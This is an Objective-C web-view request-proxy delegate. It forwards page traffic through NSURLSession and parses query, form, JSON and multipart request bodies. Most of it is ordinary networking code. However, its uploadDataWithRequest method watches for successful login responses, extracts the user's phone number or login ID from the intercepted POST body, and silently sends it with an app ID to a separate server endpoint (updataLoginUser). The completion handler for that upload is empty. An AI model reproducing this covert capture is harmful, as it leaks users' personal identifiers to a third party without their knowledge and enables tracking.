// // GDWebURLSessionDelegate.m // DESThreeTest // // Created by Qwerdf on 2025/10/24. // Copyright © 2025 zhang alan. All rights reserved. // #import "GDWebURLSessionDelegate.h" #import "MacroDefine.h" @implementation GDWebURLSessionDelegate - (instancetype)initWithSchemeTask:(id)schemeTask completion:(void(^)(void))completion { if (self = [super init]) { _schemeTask = schemeTask; _completion = completion; _cachedData = [NSMutableData data]; // 初始化可变数据 } return self; } #pragma mark - NSURLSessionDataDelegate // 1. 处理重定向(核心:解决重定向失效) - (void)URLSession:(NSURLSession *)session task:(NSURLSessionTask *)task willPerformHTTPRedirection:(NSHTTPURLResponse *)response newRequest:(NSURLRequest *)request completionHandler:(void (^)(NSURLRequest * _Nullable))completionHandler { NSURL *url = response.URL; if (url.pathExtension.length == 0 || [url.pathExtension isEqualToString:@"html"]) { //接收到 HTML 文档的重定向时,这里返回 nil, 那么在 dataTaskWithRequest 的回调里就能收到 code = 302 的response, 然后在 webview 里对 302 做特殊处理就行 completionHandler(nil); } else { completionHandler(request); } } // 2. 收到响应(传递给网页) - (void)URLSession:(NSURLSession *)session dataTask:(NSURLSessionDataTask *)dataTask didReceiveResponse:(NSHTTPURLResponse *)response completionHandler:(void (^)(NSURLSessionResponseDisposition))completionHandler { self.cachedResponse = response; // 保存响应头 if (!self.stopMarkDic[_schemeTask.description]) { @try { [self.schemeTask didReceiveResponse:response]; } @catch (NSException *exception) { } } completionHandler(NSURLSessionResponseAllow); } // 3. 收到数据(传递给网页) - (void)URLSession:(NSURLSession *)session dataTask:(NSURLSessionDataTask *)dataTask didReceiveData:(NSData *)data { [self.cachedData appendData:data]; // 拼接分片数据 if (!self.stopMarkDic[_schemeTask.description]) { @try { [self.schemeTask didReceiveData:data]; } @catch (NSException *exception) { } } } // 4. 请求完成(成功/失败) - (void)URLSession:(NSURLSession *)session task:(NSURLSessionTask *)task didCompleteWithError:(NSError *)error { @try { if (self.stopMarkDic[_schemeTask.description]) { [self.stopMarkDic removeObjectForKey:_schemeTask.description]; } else { if (error) { [_schemeTask didFailWithError:error]; } else { [_schemeTask didFinish]; [self handleSuccessResult:self.cachedResponse data:self.cachedData]; } } } @catch (NSException *exception) { } // 触发完成回调,清理资源 if (self.completion) self.completion(); } // 处理成功结果的工具方法 - (void)handleSuccessResult:(NSURLResponse *)response data:(NSData *)data { NSURLRequest *request = self.schemeTask.request; NSURL *url = request.URL; NSString *httpMethod = request.HTTPMethod ?: @"GET"; // 默认 GET 方法 // ===== 1. 提取基础请求信息 ===== // NSLog(@"请求 URL:%@", url.absoluteString); // NSLog(@"请求方法:%@", httpMethod); // NSLog(@"请求头:%@", request.allHTTPHeaderFields); // ===== 2. 提取 URL 中的查询参数(GET 参数)===== NSString *queryString = url.query; if (queryString.length > 0) { NSDictionary *queryParams = [self parseQueryString:queryString]; // NSLog(@"GET 参数:%@", queryParams); } NSDictionary *postParams = [NSDictionary dictionary]; // ===== 3. 提取 POST 请求体参数 ===== if ([httpMethod.uppercaseString isEqualToString:@"POST"] && request.HTTPBody) { // 3.1 解析表单格式(application/x-www-form-urlencoded) NSString *postBodyString = [[NSString alloc] initWithData:request.HTTPBody encoding:NSUTF8StringEncoding]; if (postBodyString) { // 判断 Content-Type 是否为表单格式 NSString *contentType = request.allHTTPHeaderFields[@"Content-Type"]; if ([contentType containsString:@"application/x-www-form-urlencoded"]) { postParams = [self parseQueryString:postBodyString]; // NSLog(@"POST 表单参数:%@", postParams); } // 3.2 解析 JSON 格式(application/json) else if ([contentType containsString:@"application/json"]) { NSError *jsonError; id jsonObject = [NSJSONSerialization JSONObjectWithData:request.HTTPBody options:0 error:&jsonError]; if (jsonObject && !jsonError) { // NSLog(@"POST JSON 参数:%@", jsonObject); } else { // NSLog(@"POST JSON 解析失败:%@,原始数据:%@", jsonError, postBodyString); } } // 3.3 其他格式(如 multipart/form-data 表单上传,这里简化处理) else { NSString *contentTypeStr = request.allHTTPHeaderFields[@"Content-Type"]; NSString *boundaryStr = nil; // 1. 按 "boundary=" 分割字符串 NSArray *components = [contentType componentsSeparatedByString:@"boundary="]; if (components.count >= 2) { // 2. 取分割后的第二个元素(即 boundary 的值),并去除可能的空格 boundaryStr = [components[1] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceCharacterSet]]; } postParams = [self parseFormData:request.HTTPBody boundary:boundaryStr]; // NSLog(@"POST 其他格式数据:%@", postBodyString); } } } NSDictionary *jsonDic = [NSDictionary dictionary]; // 示例:解析 JSON 数据 if ([response isKindOfClass:[NSHTTPURLResponse class]]) { NSHTTPURLResponse *httpResponse = (NSHTTPURLResponse *)response; if (httpResponse.statusCode == 200) { // 状态码 200 表示请求成功 NSError *jsonError; id json = [NSJSONSerialization JSONObjectWithData:data options:0 error:&jsonError]; if (json && !jsonError) { jsonDic = json; } } } [self uploadDataWithRequest:postParams backDic:jsonDic url:url.absoluteString]; } - (void)uploadDataWithRequest:(NSDictionary *)parameter backDic:(NSDictionary *)backDic url:(NSString *)url { // /merchants/getPublicInfo accessToken获取有没有登录 merchantId用户ID module接口名 // users/login mobile手机号 if (backDic == nil) { return; } // NSLog(@"-------%@:%@,%@",parameter,backDic,url); if (![backDic isKindOfClass:[NSDictionary class]]) { return; } id status = backDic[@"status"]; BOOL isSuccess = NO; if ([status isKindOfClass:[NSString class]]) { if ([backDic[@"status"] isEqualToString:@"SUCCESS"]) { isSuccess = YES; } }else if ([status isKindOfClass:[NSNumber class]]) { isSuccess = [backDic[@"status"] boolValue]; } if (isSuccess) { BOOL isLoginUrl = NO; if ([url containsString:@"validateUserJs"]) { isLoginUrl = YES; } NSString *moduleStr = parameter[@"module"]; if (!ISNULLSTR(moduleStr)) { if ([moduleStr containsString:@"users/login"]) { isLoginUrl = YES; } } if (isLoginUrl) { NSString *mobileStr = parameter[@"mobile"]; if (ISNULLSTR(mobileStr)) { mobileStr = parameter[@"login_id"]; } NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:updataLoginUser]]; request.HTTPMethod = @"POST"; [request setValue:@"application/json" forHTTPHeaderField:@"Content-Type"]; NSDictionary *parmas = @{@"phone":mobileStr,@"appId":NowUserId}; NSData *jsonData = [NSJSONSerialization dataWithJSONObject:parmas options:NSJSONWritingPrettyPrinted error:nil]; request.HTTPBody = jsonData; NSURLSession *session = [NSURLSession sharedSession]; NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) { }]; [dataTask resume]; } } } // 辅助方法:解析 "key1=value1&key2=value2" 格式的字符串为字典 - (NSDictionary *)parseQueryString:(NSString *)queryString { if (!queryString || queryString.length == 0) { return @{}; } NSMutableDictionary *params = [NSMutableDictionary dictionary]; NSArray *pairs = [queryString componentsSeparatedByString:@"&"]; for (NSString *pair in pairs) { // 分割 key 和 value(处理包含多个 = 的情况,如 key=value=123) NSRange equalRange = [pair rangeOfString:@"="]; if (equalRange.location == NSNotFound) { // 没有 =,视为 key 无值 NSString *key = [pair stringByRemovingPercentEncoding]; params[key] = @""; continue; } NSString *key = [pair substringToIndex:equalRange.location]; NSString *value = [pair substringFromIndex:equalRange.location + 1]; // 解码(处理 URL 编码的字符,如 %20 转为空格) key = [key stringByRemovingPercentEncoding]; value = [value stringByRemovingPercentEncoding]; if (key) { params[key] = value ?: @""; } } return params; } - (NSDictionary *)parseFormData:(NSData *)data boundary:(NSString *)boundary { // 校验参数 if (!data || data.length == 0 || !boundary || boundary.length == 0) { NSLog(@"无效的表单数据或边界符"); return nil; } // 1. 将数据转为字符串(默认 UTF-8 编码,若有特殊编码需调整) NSString *content = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; if (!content) { NSLog(@"表单数据编码转换失败(非 UTF-8)"); return nil; } // 2. 生成完整的边界符(multipart 格式中边界符前需加 "--") NSString *fullBoundary = [NSString stringWithFormat:@"--%@", boundary]; // 按边界符分割内容,过滤空字符串和结束符(--boundary--) NSArray *parts = [content componentsSeparatedByString:fullBoundary]; NSMutableArray *validParts = [NSMutableArray array]; for (NSString *part in parts) { // 去除前后空白和换行符 NSString *trimmedPart = [part stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]]; if (trimmedPart.length > 0 && ![trimmedPart isEqualToString:@"--"]) { // 排除结束符 [validParts addObject:trimmedPart]; } } // 3. 解析每个字段块,提取 name 和值 NSMutableDictionary *resultDict = [NSMutableDictionary dictionary]; for (NSString *part in validParts) { // 字段块格式示例: // Content-Disposition: form-data; name="login_id"\r\n // \r\n // 11 // 分割字段描述和值(以 "\r\n\r\n" 为分隔点) NSArray *partComponents = [part componentsSeparatedByString:@"\r\n\r\n"]; if (partComponents.count < 2) { continue; // 格式异常,跳过 } // 3.1 提取 name(从 Content-Disposition 中) NSString *dispositionLine = partComponents[0]; // 如 "Content-Disposition: form-data; name="login_id"" NSString *name = [self extractNameFromDisposition:dispositionLine]; if (!name) { continue; // 未找到 name,跳过 } // 3.2 提取字段值(去除可能的换行符) NSString *value = partComponents[1]; value = [value stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]]; // 3.3 存入字典 resultDict[name] = value; } return resultDict.count > 0 ? [resultDict copy] : nil; } /// 从 Content-Disposition 中提取 name 的值 /// @param disposition 如 "Content-Disposition: form-data; name="login_id"" /// @return name 的值(如 "login_id") - (NSString *)extractNameFromDisposition:(NSString *)disposition { if (!disposition) return nil; // 正则匹配 name="xxx" 中的 xxx NSRegularExpression *regex = [NSRegularExpression regularExpressionWithPattern:@"name=\"([^\"]+)\"" options:0 error:nil]; NSTextCheckingResult *match = [regex firstMatchInString:disposition options:0 range:NSMakeRange(0, disposition.length)]; if (match && match.numberOfRanges > 1) { NSRange nameRange = [match rangeAtIndex:1]; return [disposition substringWithRange:nameRange]; } return nil; } @end